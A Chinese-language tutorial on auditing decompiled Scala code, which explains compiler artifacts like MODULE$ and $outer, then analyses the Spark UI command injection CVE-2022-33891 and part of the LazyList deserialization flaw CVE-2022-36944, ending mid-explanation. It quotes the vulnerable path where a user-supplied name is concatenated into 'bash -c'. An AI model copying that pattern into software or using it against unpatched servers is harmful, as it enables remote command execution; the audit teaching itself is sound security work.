Scala代码审计从入门到入坟 引言 Scala 是一门多范式的编程语言,集成了面向对象编程和函数式编程的多种特性。函数式编程抽象的理论基础也让这门语言变得抽象起来,初学者需要花更多的时间去理解其特有概念以及众多的语法糖。Scala
是一门运行在JVM平台上的语言,其源码编译结果符合Java
字节码规范,所以可以被反编译为Java
代码。在进行Scala
代码审计的过程中,审计者很少有机会直面其源码,大多数时候都是被反编译为Java
的代码所支配。Scala
与Java
毕竟是两门语言,反编译成Java
代码的后果便是丧失了动态调试的能力(这为审计者带来了不小的麻烦),反编译后产生的中间代码、临时变量等辅助结构更是极大得降低了代码的可读性。本文将带领诸位抽丝剥茧逐步梳理出Scala
各语法结构与Java
语法结构对应关系,然后以两个漏洞的分析结尾。
特殊语法结构识别 除了循环、条件判断、面向对象等基础语法外,Scala
还提供了极具特色的语法结构,如:模式匹配、隐式转换、传名调用、函数柯里化、伴生对象、特质、提取器、函数式编程等。本章不会重点着墨于这些语法的介绍,而是向读者展示在将Scala
源程序反编译为Java
代码后产生的那些不太常规的语法结构以及一些奇怪的变量(MODULE$/$outer/package/$init$)等。
伴生对象
本节将会涉及到特殊变量MODULE$
的含义
Scala
中没有类似Java
中static
关键字,其实现static
关键字功能是通过被称为伴生对象的概念。 伴生对象是类自身定义的单个实例,可以被理解为当前类的一个单例对象(并不显式依赖一个类,可独立存在),以下代码展示了一个类的伴生对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package org.exampleclass Singletons ( ) { private var llac: String = "九敏啊,我是伴生类的私有属性,我被伴生对象调用了" private def callSingleField (): Unit = { println(Singletons .call) } } object Singletons { private var call: String = "九敏啊,我是伴生对象的私有属性,我被伴生类调用了" def sayHello (llac: String ): Unit = { println(llac) } def main (args: Array [String ]): Unit = { val s: Singletons = new Singletons () sayHello(s.llac) s.callSingleField() } }
在上面提供的代码中,被关键字object
修饰的对象被称为类Singletons
的伴生对象,类Singletons
被称为object
关键字修饰的对象的伴生类,两者可互相调用其私有属性以及方法。Scala
语言是运行在jvm
上的,其最终编译结果符合Java
字节码规范,于是便可以将其反编译成为Java
代码进行查看,虽然这样会得到与Scala
源代码迥然不同的代码结构并产生一些中间代码。审计者在进行Scala
代码审计时大多数时候面对的都是被反编译成为Java
代码的Scala
程序,所以如何快速高效地识别Scala
代码转换后的语言结构就尤为重要,特别是一些特殊的变量。 以下便是上文Scala
源代码反编译成为Java
代码后的形态
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package org.example;import scala.Predef.;import scala.reflect.ScalaSignature;@ScalaSignature( bytes = "ignored" ) public class Singletons { private String org$example$Singletons$$llac = "九敏啊,我是伴生类的私有属性,我被伴生对象调用了" ; public static void main (final String[] args) { Singletons$.MODULE$.main(args); } public static void sayHello (final String llac) { Singletons$.MODULE$.sayHello(llac); } public String org$example$Singletons$$llac() { return this .org$example$Singletons$$llac; } private void org$example$Singletons$$llac_$eq(final String x$1 ) { this .org$example$Singletons$$llac = x$1 ; } public void org$example$Singletons$$callSingleField() { .MODULE$.println(Singletons$.MODULE$.org$example$Singletons$$call()); } } package org.example;import scala.Predef.;public final class Singletons$ { public static Singletons$ MODULE$; private String org$example$Singletons$$call; static { new Singletons$ (); } public String org$example$Singletons$$call() { return this .org$example$Singletons$$call; } private void org$example$Singletons$$call_$eq(final String x$1 ) { this .org$example$Singletons$$call = x$1 ; } public void sayHello (final String llac) { .MODULE$.println(llac); } public void main (final String[] args) { Singletons s = new Singletons (); this .sayHello(s.org$example$Singletons$$llac()); s.org$example$Singletons$$callSingleField(); } private Singletons$() { MODULE$ = this ; this .org$example$Singletons$$call = "九敏啊,我是伴生对象的私有属性,我被伴生类调用了" ; } } ``` 在反编译后的代码中,注解`@ScalaSignature `保存了`Scala`类的签名信息,包括类的类型参数、构造函数参数类型和返回类型等信息,这些信息对于代码审计并不会产生影响,直接无视即可。 在反编译后的代码中,产生了两个特殊的中间变量`MODULE$` 以及 `.MODULE$`,本节将介绍`MODULE$`变量,`.MODULE$`将在下节与包对象一节引出。 ```java private Singletons$() { MODULE$ = this ; this .org$example$Singletons$$call = "九敏啊,我是伴生对象的私有属性,我被伴生类调用了" ; }
在伴生对象的私有构造方法中MODULE$
被赋值为this
,在Java
中this
表示当前对象实例的引用,即this
乃Singletons$
单例对象的引用。 伴生对象被称为伴生类的单例对象乃是通过静态代码块的方式实现。
1 2 3 static { new Singletons$ (); }
根据jvm
类加载的原理(加载->链接->初始化),静态代码块的执行出现在初始化阶段<clinit>()
,也就是说这部分代码在jvm
的一次运行周期中只会被执行一次,即实现了单例对象的生成。
包对象
本节将介绍.MODULE$
的含义
包对象允许在一个包中定义公共的方法、常量以及类型别名,以便在该包的所有 Scala
文件中共享和访问这些成员。如果你在使用IDEA
进行审计时发现某个方法不能正常跳转,请到当前类的包目录下找到名为package.class
的文件并尝试在其中找到该方法定义。 首先在org.example
包下定义包对象
1 2 3 4 5 package orgpackage object example { def greetExample (): String = s"你好, 我是org.example包!" }
然后在其子包org.example.subPackage
中定义另一个包对象
1 2 3 4 5 package org.examplepackage object subPackage { def greetTest (): String = s"你好, 我是org.example.subPackage包!" }
接着在org.example
包下定义类PackageObject
,该类定义了一个方法packageGreet
分别从上述两处调用共享方法greetExample
以及greetTest
1 2 3 4 5 6 7 8 9 10 11 package org.exampleimport subPackage.greetTestclass PackageObject { def packageGreet (): Unit = { greetExample() greetTest() } }
以org.example
下的包对象为例。在定义该包对象时使用了object
关键字修饰,故可知包对象乃是伴生对象,在进行代码编译时会自动生成一个与之相关的伴生类,这也就是下面的代码中多出 package
类的原因。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package org.example;import scala.reflect.ScalaSignature;@ScalaSignature( bytes = "ignored" ) public final class package { public static String greetExample () { return package $.MODULE$.greetExample(); } } package org.example;public final class package$ { public static package $ MODULE$; static { new package$ (); } public String greetExample () { return "你好, 我是org.example包对象!" ; } private package $() { MODULE$ = this ; } }
PackageObject.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.example;import org.example.package .;import scala.reflect.ScalaSignature;@ScalaSignature( bytes = "ignored" ) public class PackageObject { public void packageGreet () { .MODULE$.greetExample(); org.example.testPackage.package ..MODULE$.greetTest(); } }
观察上文反编译代码,有两个问题需要回答。其一,greetExample
这个方法来自哪里,为何通过IDEA
不能进行索引跳转; 其二,.MODULE$
到底是什么变量,为何在代码中没有任何的声明。 初看.MODULE$.greetExample();
是一个有些奇怪的用法,语句竟然以.
开头,不过如果将import org.example.package.;
与之连接得到org.example.package..MODULE$.greetExample();
,这样就与下一行中org.example.testPackage.package..MODULE$.greetTest();
的调用方式一样, 于是情况似乎变得合理起来。 一个新的情况出现了,看如下代码:
1 2 import scala.Predef .;.MODULE $.println("我来自Predef伴生对象" )
在Scala
包下,Predef
是一个伴生对象,但其并不是包对象,为何其也通过.MODULE$
变量来引用方法。 其实包导入末尾的.
表示导入当前对象中的所有静态成员,而Predef
又是伴生对象,同时其Module$
变量也是静态成员,加之在导入位置也可能存在静态成员MODULE$
故使用.MODULE$
加以区分。 在后文akka
框架一章,还将介绍该变量的另一种用法。
初始化代码
本节将涉及方法$init$
的含义
有如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.exampleclass StaticCode { println("我是类主体代码" ) { print("我时初始化代码块" ) } var code = { print("我是变量初始化代码" ) } } object StaticCode { def main (args: Array [String ]): Unit = { var sc: StaticCode = new StaticCode () println("Hello" ) } }
其反编译为Java
代码后,若其类主体、变量初始化代码、类初始化代码块中若存在较为复杂的逻辑,Scala
编译器将自动生成名为$init$
的方法。 另一种情况,若父类存在类主体,则类主体中的代码将被组合为$init$
方法。
1 2 3 4 5 6 7 8 9 10 package org.exampletrait Nested { var s: String = "我是嵌套特质" println(s) } class ClassNested extends Nested { println(s) }
反编译后结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example;import scala.Predef.;import scala.reflect.ScalaSignature;@ScalaSignature( bytes = "ignored" ) public interface Nested { String s () ; void s_$eq(final String x$1 ); static void $init$(final Nested $this ) { $this .s_$eq("我是嵌套特质" ); .MODULE$.println($this .s()); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example;import scala.reflect.ScalaSignature;@ScalaSignature( bytes = "ignored" ) public class ClassNested implements Nested { private String s; public String s () { return this .s; } public void s_$eq(final String x$1 ) { this .s = x$1 ; } public ClassNested () { Nested.$init$(this ); } }
在ClassNested
的无参构造方法中调用了接口(特质)的$init$
方法,而$init$
方法则封装了特质的类主体逻辑。
传参匿名类
本节将涉及apply
方法
以下是一个需要传参的匿名类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package org.exampleobject AnonymousClass { def main (args: Array [String ]): Unit = { val runnable = new (String => Unit ) { var name: String = "" override def apply (name: String ): Unit = { this .name = name } def whoami (): Unit = { println(name) } } runnable("alis" ) runnable.whoami() } }
反编译后的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 package org.example;import scala.reflect.ScalaSignature;@ScalaSignature( bytes = "ignored" ) public final class AnonymousClass { public static void main (final String[] args) { AnonymousClass$.MODULE$.main(args); } } package org.example;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import scala.Function1;import scala.runtime.BoxedUnit;import scala.runtime.StructuralCallSite;import scala.runtime.ScalaRunTime.;public final class AnonymousClass$ { public static AnonymousClass$ MODULE$; static { new AnonymousClass$ (); } public static Method reflMethod$Method1(final Class x$1 ) { StructuralCallSite methodCache1 = apply<invokedynamic>(); Method method1 = methodCache1.find(x$1 ); if (method1 != null ) { return method1; } else { method1 = .MODULE$.ensureAccessible(x$1. getMethod("whoami" , methodCache1.parameterTypes())); methodCache1.add(x$1 , method1); return method1; } } public void main (final String[] args) { Function1 runnable = new Function1 () { private String name; ... public void apply (final String name) { this .name_$eq(name); } public void whoami () { scala.Predef..MODULE$.println(this .name()); } public Object apply (final Object v1) { this .apply((String)v1); return BoxedUnit.UNIT; } public { Function1.$init$(this ); this .name = "" ; } }; runnable.apply("alis" ); Function1 qual1 = runnable; try { reflMethod$Method1(qual1.getClass()).invoke(qual1); } catch (InvocationTargetException var5) { throw var5.getCause(); } BoxedUnit var10000 = BoxedUnit.UNIT; } private AnonymousClass$() { MODULE$ = this ; } }
在伴生对象的main
方法中,首先构造了一个Function1
类型的匿名类对象runnable
,创建匿名类后调用其apply
方法(注入器)进行传参,如此便完成了有参匿名类的实例化,然后通过反射进行方法调用。匿名类、匿名函数的传参、调用大量使用了apply
方法,要加以甄别。
类嵌套
本节将涉及变量$outer
的含义
有如下代码定义匿名类a
,其中嵌套匿名类b
,在嵌套匿名类b
中调用外部类a
的方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.exampleobject AnonymousNested { def main (args: Array [String ]): Unit = { val a =new Object { val b = new Object { def printHelloNested (): Unit = { printHello() } } def printHello (): Unit = { println("Hello" ) } } a.b.printHelloNested() } }
将上文代码反编译为Java
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 @ScalaSignature( bytes = "ignored" ) public final class AnonymousNested { public static void main (final String[] args) { AnonymousNested$.MODULE$.main(args); } } public final class AnonymousNested$ { public static AnonymousNested$ MODULE$; static { new AnonymousNested$ (); } public static Method reflMethod$Method1(final Class x$1 ) { StructuralCallSite methodCache1 = apply<invokedynamic>(); Method method1 = methodCache1.find(x$1 ); if (method1 != null ) { return method1; } else { method1 = .MODULE$.ensureAccessible(x$1. getMethod("printHelloNested" , methodCache1.parameterTypes())); methodCache1.add(x$1 , method1); return method1; } } public static Method reflMethod$Method2(final Class x$1 ) { StructuralCallSite methodCache2 = apply<invokedynamic>(); Method method2 = methodCache2.find(x$1 ); if (method2 != null ) { return method2; } else { method2 = .MODULE$.ensureAccessible(x$1. getMethod("b" , methodCache2.parameterTypes())); methodCache2.add(x$1 , method2); return method2; } } public void main (final String[] args) { Object a = new Object () { private final Object b = new Object (this ) { private final <undefinedtype> $outer; public void printHelloNested () { this .$outer.printHello(); } public { if ($outer == null ) { throw null ; } else { this .$outer = $outer; } } }; public Object b () { return this .b; } public void printHello () { scala.Predef..MODULE$.println("Hello" ); } }; Object qual2 = a; Object var10000; try { var10000 = reflMethod$Method2(qual2.getClass()).invoke(qual2); } catch (InvocationTargetException var8) { throw var8.getCause(); } Object qual1 = var10000; try { reflMethod$Method1(qual1.getClass()).invoke(qual1); } catch (InvocationTargetException var7) { throw var7.getCause(); } BoxedUnit var9 = BoxedUnit.UNIT; } private AnonymousNested$() { MODULE$ = this ; } }
在main
方法中嵌套匿名类b调用外部类a将借助辅助变量$outer
,$outer
即表示当前类的外部类,即便它没有别显式地赋值。
隐式转换 在Java
中,如果开发者需要实现类功能的增强,一般采用继承、代理甚至于使用动态插桩技术来实现,使用这些技术都需要显示地新增或者修改代码,从而提高了代码的耦合性。那么有没有一种更简洁且不具备侵入性的解决方案来实现这些要求呢?Scala
为开发者提供了一种解决方案。 隐式转换允许开发者在不改变原有代码的情况下,对现有类型进行扩展或者提供额外的功能。隐式转换通常用于增强现有类的功能、为现有类提供类型转换或者为函数提供额外的参数等。
隐式函数 看下面的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package org.exampleimport scala.language.implicitConversionsobject ImplicitTransform { implicit def H2D (h: Human ): Dog = new Dog (h); def main (args: Array [String ]): Unit = { var h = new Human () h.bark() } class Human ( ) { } class Dog (h: Human ) { def bark (): Unit = { println("你在狗叫什么" ) } } }
在main
方法中,首先创建了Human
的实例对象,然后调用其bark
方法,而在Human
类中却没有定义有bark
方法,按照其他编程语言的逻辑此时将发生编译异常,而在Scala中却别有洞天,代码将成功执行。 这便是Scala
隐式转换的魅力,在伴生对象ImplicitTransform
中额外定义了一个隐式方法H2D
,其负责将Human
类型转换为Dog
类型,这个过程是开发者不可见的,是隐藏着由编译器帮开发者完成的。在Human
对象实例尝试调用不存在的bark
方法时,会首先尝试寻找当前上下文中是否存在隐式转换函数而不是直接报错退出,若存在则判断转换后的结果是否存在bark
方法,若存在则调用该bark
方法。 将Scala
代码反编译成Java
后观察发现隐式调用变成了显式调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 @ScalaSignature( bytes = "ignored" ) public final class ImplicitTransform { public static void main (final String[] args) { ImplicitTransform$.MODULE$.main(args); } public static Dog H2D (final Human h) { return ImplicitTransform$.MODULE$.H2D(h); } public static class Dog { public void bark () { .MODULE$.println("你在狗叫什么" ); } public Dog (final Human h) { } } public static class Human { } } package org.example;public final class ImplicitTransform$ { public static ImplicitTransform$ MODULE$; static { new ImplicitTransform$ (); } public ImplicitTransform.Dog H2D (final ImplicitTransform.Human h) { return new ImplicitTransform .Dog(h); } public void main (final String[] args) { ImplicitTransform.Human h = new ImplicitTransform .Human(); this .H2D(h).bark(); } private ImplicitTransform$() { MODULE$ = this ; } }
在上面提供的代码中,观察发现main
方法首先调用了H2D
方法显式得将Human
对象转换为Dog
对象,之后再调用Dog
对象的bark
方法,这个过程在Java
代码中是显式的。
隐式参数 看下面的代码
1 2 3 4 5 6 7 8 9 10 11 12 package org.exampleobject ImplicitParameter { implicit var k: Int = 20 def main (args: Array [String ]): Unit = { println(add(10 )) } def add (x: Int )(implicit y: Int ): Int = { x + y } }
有了前面隐式函数的珠玉在前,理解隐式参数也就不再困难。在main
方法中调用add(x)
方法,因为该方法并不存在,那么首先应该寻找含有隐式参数的方法调用,即add(x: Int)(y: Int)
,其中y: Int
为隐式参数,则在当前上下文中寻找Int
类型的隐式参数,即k
,故add(20)
方法调用的结果为30
。 需要注意的是,在同一作用域中,同一类型的隐式参数只能出现一次,否则将产生编译器编译异常。如下例的代码是不被允许的:
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.exampleobject ImplicitParameter { implicit var k: Int = 20 implicit var l: Int = 40 def main (args: Array [String ]): Unit = { println(add(10 )) } def add (x: Int )(implicit y: Int ): Int = { x + y } }
反编译后的结果亦非常清晰
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 @ScalaSignature( bytes = "ignored" ) public final class ImplicitParameter { public static int add (final int x, final int y) { return ImplicitParameter$.MODULE$.add(x, y); } public static void main (final String[] args) { ImplicitParameter$.MODULE$.main(args); } public static void k_$eq(final int x$1 ) { ImplicitParameter$.MODULE$.k_$eq(x$1 ); } public static int k () { return ImplicitParameter$.MODULE$.k(); } } public final class ImplicitParameter$ { public static ImplicitParameter$ MODULE$; private int k; static { new ImplicitParameter$ (); } public int k () { return this .k; } public void k_$eq(final int x$1 ) { this .k = x$1 ; } public void main (final String[] args) { .MODULE$.println(BoxesRunTime.boxToInteger(this .add(10 , this .k()))); } public int add (final int x, final int y) { return x + y; } private ImplicitParameter$() { MODULE$ = this ; this .k = 20 ; } }
隐式类 看下面的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.exampleimport scala.annotation.tailrecimport scala.language.implicitConversionsobject ImplicitClass { def main (args: Array [String ]): Unit = { 4. times(println("test" )) } implicit class intWithTimes (i: Int ) { def times [A ](f: => A ): Unit = { @tailrec def loop (c: Int ): Unit = { if (c > 0 ) { f loop(c - 1 ) } } loop(i) } } }
在main
方法中使用了一个不太常用的方法4.times
,如此偏门的语法时如何实现的呢?这就是Scala
隐式类的魔法。 在Scala
中没有Java
中类似int
这一类基本数据类型,所有数据类型均是包装类型,即4
这个整型字面量乃是Int
类型的实例对象,那么4.times()
就表示在Int
的实例对象上调用times
方法。在进行方法调用时,首先会搜索Int
类是否定义了times
方法,若没有则在当前作用域中搜索是否存在Int
类型的隐式类型转换,若存在,则在目标类型中搜索times
方法进行调用。 将上述代码的字节码反编译为Java
代码后得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 @ScalaSignature( bytes = "ignored" ) public final class ImplicitClass { public static intWithTimes intWithTimes (final int i) { return ImplicitClass$.MODULE$.intWithTimes(i); } public static void main (final String[] args) { ImplicitClass$.MODULE$.main(args); } public static class intWithTimes { private final int i; public void times (final Function0 f) { this .loop$1 (this .i, f); } private final void loop$1 (final int c, final Function0 f$1 ) { while (c > 0 ) { f$1. apply(); --c; } BoxedUnit var10000 = BoxedUnit.UNIT; } public intWithTimes (final int i) { this .i = i; } } } public final class ImplicitClass$ { public static ImplicitClass$ MODULE$; static { new ImplicitClass$ (); } public void main (final String[] args) { this .intWithTimes(4 ).times(() -> { .MODULE$.println("test" ); }); } public ImplicitClass.intWithTimes intWithTimes (final int i) { return new ImplicitClass .intWithTimes(i); } private ImplicitClass$() { MODULE$ = this ; } private static Object $deserializeLambda$(SerializedLambda var0) { return var0.lambdaDeserialize<invokedynamic>(var0); } }
可以看到调用逻辑与前两小节隐式参数与隐式方法如出一辙。
漏洞举例 Apache Spark UI 远程命令注入(CVE-2022-33891) Apache Spark UI
曾经被披露存在远程命令注入漏洞,该漏洞源于程序对用户权限模拟用户名参数处理不当。该漏洞较为简单,便直接在代码中通过注释进行解释说明。HttpSecurityFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 override def doFilter (req: ServletRequest , res: ServletResponse , chain: FilterChain ): Unit = { val hreq = req.asInstanceOf[HttpServletRequest ] val hres = res.asInstanceOf[HttpServletResponse ] hres.setHeader("Cache-Control" , "no-cache, no-store, must-revalidate" ) val requestUser = hreq.getRemoteUser() val effectiveUser = Option (hreq.getParameter("doAs" )) .map { proxy => if (requestUser != proxy && !securityMgr.checkAdminPermissions(requestUser)) { hres.sendError(HttpServletResponse .SC_FORBIDDEN , s"User $requestUser is not allowed to impersonate others." ) return } proxy } .getOrElse(requestUser) if (!securityMgr.checkUIViewPermissions(effectiveUser)) { hres.sendError(HttpServletResponse .SC_FORBIDDEN , s"User $effectiveUser is not authorized to access this page." ) return } ... }
SecurityManager#isUserInACL
1 2 3 def checkAdminPermissions (user: String ): Boolean = { isUserInACL(user, adminAcls, adminAclsGroups) }
SecurityManager#isUserInACL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private def isUserInACL ( user: String , aclUsers: Set [String ], aclGroups: Set [String ]): Boolean = { if (user == null || !aclsEnabled() || aclUsers.contains(WILDCARD_ACL ) || aclUsers.contains(user) || aclGroups.contains(WILDCARD_ACL )) { true } else { val userGroups = Utils .getCurrentUserGroups(sparkConf, user) logDebug(s"user $user is in groups ${userGroups.mkString(",")} " ) aclGroups.exists(userGroups.contains(_)) } }
Utils#getCurrentUserGroups *
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 def getCurrentUserGroups (sparkConf: SparkConf , username: String ): Set [String ] = { val groupProviderClassName = sparkConf.get(USER_GROUPS_MAPPING ) if (groupProviderClassName != "" ) { try { val groupMappingServiceProvider = classForName(groupProviderClassName). getConstructor().newInstance(). asInstanceOf[org.apache.spark.security.GroupMappingServiceProvider ] val currentUserGroups = groupMappingServiceProvider.getGroups(username) return currentUserGroups } catch { case e: Exception => logError(log"Error getting groups for user=${MDC(USER_NAME, username)} " , e) } } EMPTY_USER_GROUPS }
ShellBasedGroupsMappingProvider#getGroups
1 2 3 4 5 6 override def getGroups (username: String ): Set [String ] = { val userGroups = getUnixGroups(username) logDebug("User: " + username + " Groups: " + userGroups.mkString("," )) userGroups }
ShellBasedGroupsMappingProvider#getUnixGroups
1 2 3 4 5 6 private def getUnixGroups (username: String ): Set [String ] = { val cmdSeq = Seq ("bash" , "-c" , "id -Gn " + username) Utils .executeAndGetOutput(cmdSeq).stripLineEnd.split(" " ).toSet }
Utils#executeAndGetOutput
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def executeAndGetOutput ( command: Seq [String ], workingDir: File = new File ("." ), extraEnvironment: Map [String , String ] = Map .empty, redirectStderr: Boolean = true ): String = { val process = executeCommand(command, workingDir, extraEnvironment, redirectStderr) val output = new StringBuilder val threadName = "read stdout for " + command(0 ) def appendToOutput (s: String ): Unit = output.append(s).append("\n" ) val stdoutThread = processStreamByLine(threadName, process.getInputStream, appendToOutput) val exitCode = process.waitFor() stdoutThread.join() if (exitCode != 0 ) { logError(s"Process $command exited with code $exitCode : $output " ) throw new SparkException (s"Process $command exited with code $exitCode " ) } output.toString }
Utils#executeCommand
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def executeCommand ( command: Seq [String ], workingDir: File = new File ("." ), extraEnvironment: Map [String , String ] = Map .empty, redirectStderr: Boolean = true ): Process = { val builder = new ProcessBuilder (command: _*).directory(workingDir) val environment = builder.environment() for ((key, value) <- extraEnvironment) { environment.put(key, value) } val process = builder.start() if (redirectStderr) { val threadName = "redirect stderr for command " + command(0 ) def log (s: String ): Unit = logInfo(s) processStreamByLine(threadName, process.getErrorStream, log) } process }
LazyList反序列化漏洞(CVE-2022-36944) LazyList存储与求值原理 Scala
的 LazyList
是一种惰性求值的集合类型,它可以在需要时才计算元素值,而不是像 List
一样在创建时就一次性计算所有元素。LazyList
可以处理无限序列和非常大的数据集,而不会导致内存溢出或性能问题。 以下代码展示了如何使用LazyList
进行有限数据存储以及计算
1 2 3 4 5 6 7 8 package org.exampleobject LazyListTest { def main (args: Array [String ]): Unit = { val ll:LazyList [Int ] = LazyList (1 ,2 ,3 ,4 ,5 ,6 ) ll.map(_ * 2 ).take(2 ).foreach(println) } }
上面代码首先创建LazyList
对象,然后将每个元素都乘以2
,然后取出前两个元素输出到标准输出设备中。LazyList
除了可以处理有限数据外,还可以处理无限数据,下面的代码创建了一个从1
开始步长为2
的LazyList
对象
1 2 3 4 5 6 7 8 package org.exampleobject LazyListTest { def main (args: Array [String ]): Unit = { val ll:LazyList [Int ] = LazyList .from(1 ,2 ) ll.map(_ * 2 ).take(10 ).foreach(println) } }
执行结果如下 那么LazyList
时如何实现无限数据的存储的呢?我们将从form
方法开始进行解释
1 2 def from (start: Int , step: Int ): LazyList [Int ] = newLL(sCons(start, from(start + step, step)))
上面代码中,start
参数为起始值,step
为步长。方法体中首先调用了sCons
方法,再将其调用结果传入到newLL
方法中。sCons
的第二个参数递归地调用了from
方法,且将from
的第一个参数设置为前一次计算的start
的值+
步长。sCons
方法创建了一个Cons
对象,其主构造方法第一个参数称为head
,表示序列的第一个值,第二个参数称为tail
,表示剩余值的计算方法,即LazyList存储地不是所有的序列值,而是存储着序列的计算方法。
1 2 @inline private def sCons [A ](hd: A , tl: LazyList [A ]): State [A ] = new State .Cons [A ](hd, tl)
而在newLL
方法中则创建了LazyList
对象,LazyList
的构造方法接受的是一个无参匿名函数
1 @inline private def newLL [A ](state: => State [A ]): LazyList [A ] = new LazyList [A ](() => state)
看到这里,我们对LazyList
对象的创建流程有了一定的了解,但是仍然不太能解释其为何能存储无限的数据集,看到其取值部分,其原理将豁然开朗。 对LazyList
取值可通过foreach
进行,该函数接受一个单参数匿名函数用以对遍历的结果进行处理,如println
1 2 3 4 5 6 7 8 9 @tailrec override def foreach [U ](f: A => U ): Unit = { if (!isEmpty) { f(head) tail.foreach(f) } }
在foreach
中,首先调用isEmpty
方法判断当前LazyList
对象是否为空,若为空则直接结束,若不为空则计算第一个值head
并进行输出,然后对剩余的值tail
递归调用foreach
方法继续处理,从而实现了无限取值。isEmpty
方法通过比较当前state
是否为 State.Empty
来判断LazyList
对象是否为空
1 override def isEmpty : Boolean = state eq State .Empty
而state
变量乃LazyList
被创建时在类主体中被定义且lazy
修饰
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 @SerialVersionUID (3 L)final class LazyList [+A ] private (private[this] var lazyState: ( ) => LazyList .State [A ]) extends AbstractSeq [A ] with LinearSeq [A ] with LinearSeqOps [A , LazyList , LazyList [A ]] with IterableFactoryDefaults [A , LazyList ] with Serializable { import LazyList ._ @volatile private [this ] var stateEvaluated: Boolean = false @inline private def stateDefined : Boolean = stateEvaluated private [this ] var midEvaluation = false private lazy val state: State [A ] = { if (midEvaluation) { throw new RuntimeException ("self-referential LazyList or a derivation thereof has no more elements" ) } midEvaluation = true val res = try lazyState() finally midEvaluation = false stateEvaluated = true lazyState = null res } ... }
其实际上是调用了lazyState
方法,该方法来自构造函数的参数lazyState: () => LazyList.State[A]
,前面在创建LazyList
调用newLL
方法时传入的sCons
方法返回对象即state
的值,即一个Cons
(State
的子类)对象,当该State
对象不为空(Empty
)时,便可一直取值。 若要实现固定数量取值,可使用take
方法
1 ll.take(10 ).foreach(println)
1 2 3 override def take (n: Int ): LazyList [A ] = if (knownIsEmpty) LazyList .empty else (takeImpl(n): @inline )
在take
方法中首先调用knownIsEmpty
方法判断当前LazyList
是否为空,若为空则响应一个Empty
对象,不为空则调用takeImpl
方法 在takeImpl
方法中,首先判断n
的大小,如果小于0
则响应一个Empty
对象,该条件是takeImpl
递归的基例。如果不为0
则继续尝试调用isEmpty
方法判断根LazyList
对象是否被取空,若被取空则响应一个Empty
对象并结束递归,若未被取空则创建一个sCons
对象,该对象的第二个参数递归调用takeImpl
方法,其参数值随着递归深度增加逐步减1
直到最终为0
时响应一个Empty
对象,此时在调用foreach
方法进行值输出时进行isEmpty
判断将会返回true
,从而实现了固定数量取值。
1 2 3 4 5 6 7 private def takeImpl (n: Int ): LazyList [A ] = { if (n <= 0 ) LazyList .empty else newLL { if (isEmpty) State .Empty else sCons(head, tail.takeImpl(n - 1 )) } }
在take
方法中knownIsEmpty
会首先判断当前stateEvaluated
(表示是否已经取过值,若没有取过值则该变量为false)是否为true
,若该值为false
则表示还没有开始取值,可以放心得继续取值,若该值为true
,则还需判断tail
是否为Empty
,即值是否已经被取空了。
1 @inline private [this ] def knownIsEmpty : Boolean = stateEvaluated && (isEmpty: @inline )
LazyList序列化与反序列化 LazyList
并没有实现readObject/writeObject/readExternalObject/writeExternalObject
方法,却实现了writeReplace
方法,该方法在序列化对象时将替换正在被序列化的LazyList
对象,反序列化时若替换的对象中存在readResolve
方法将使用该方法还原LazyList
对象LazyList
的writeReplace
方法如下:
1 2 protected [this ] def writeReplace (): AnyRef = if (knownNonEmpty) new LazyList .SerializationProxy [A ](this ) else this
当已经被求值且仍有值未被取走,将调用SerializationProxy
